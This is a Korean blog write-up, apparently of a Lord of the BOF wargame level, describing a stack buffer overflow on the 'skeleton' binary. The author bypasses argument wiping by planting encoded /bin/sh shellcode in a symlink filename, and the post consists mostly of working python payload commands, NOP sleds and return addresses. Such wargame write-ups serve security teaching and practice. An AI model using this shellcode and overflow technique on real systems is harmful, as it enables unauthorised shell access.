SMALL
vampire // music world
argc saver가 추가 되었다.
인자 갯수를 saved_argc에 저장해 놓고 memset으로 초기화 시켜버린다.
파일이름명, 인자들 모두 막힌 상태이다.
./skeleton `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
혹시나 해서 간단하게 argv[1], argv[2] 를 넣어보았지만 memset으로 모두 초기화 되었다.
argv[1], argv[2] 가 모두 초기화 되었기에 남은 방법인 argv[0] 심볼링링크를 이용해 보았다.
ln -s skeleton `python -c 'print "A"*10+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
스택세그먼트 거의 최하단쪽에 심볼릭링크파일 이름이 존재하고 거기에 쉘코드가 있었다.
./AAAAAAAAAAꝑ^1ɱ2l^Nÿ^A蝁u髿ÿÿ2i00tii0cjo㐔⚱^L `python -c 'print "A"*44+"\xcb\xff\xff\xbf"'`
원본파일에도 다음과 같이 해봤지만 세폴트가 떴다..
ln -s skeleton `python -c 'print "A"*10+"\x90"*10+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*10'`
스택세그먼트 거의 최하단쪽에 있어서 안되나 싶어서 앞뒤에 NOP값을 넣어주고 다시 만들어 봤다.
./심볼링링크파일 `python -c 'print "\x90"*44+"\xc0\xff\xff\xbf"'`
또 세그먼트 폴트가 떠서 코어 파일을 분석을 해보았다.
쉘코드 중간에 \x80 부분에서 오류가 뜨는것을 확인했다.
스택세그먼트 최하단에 있다. 이 부분에는 일정부분이 main함수가 끝나는 순간 값이 바뀐다.
그래서 쉘코드 마지막 부분에 NOP*10 이 아닌 *100으로 변경해주었다.
ln -s skeleton `python -c 'print "A"*10+"\x90"*10+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'`
쉘코드 시작 주소 : \x67\xff\xff\xbf (little endian)
./심볼링링크파일 `python -c 'print "\x90"*44+"\x67\xff\xff\xbf"'`
클리어!!
'System > LOB' 카테고리의 다른 글
[LOB_12]golem (0) | 2019.09.24 |
---|---|
[LOB_11]skeleton (0) | 2019.09.24 |
[LOB_9]troll (0) | 2019.09.24 |
[LOB_8]orge (0) | 2019.09.24 |
[LOB_7]darkelf (0) | 2019.09.24 |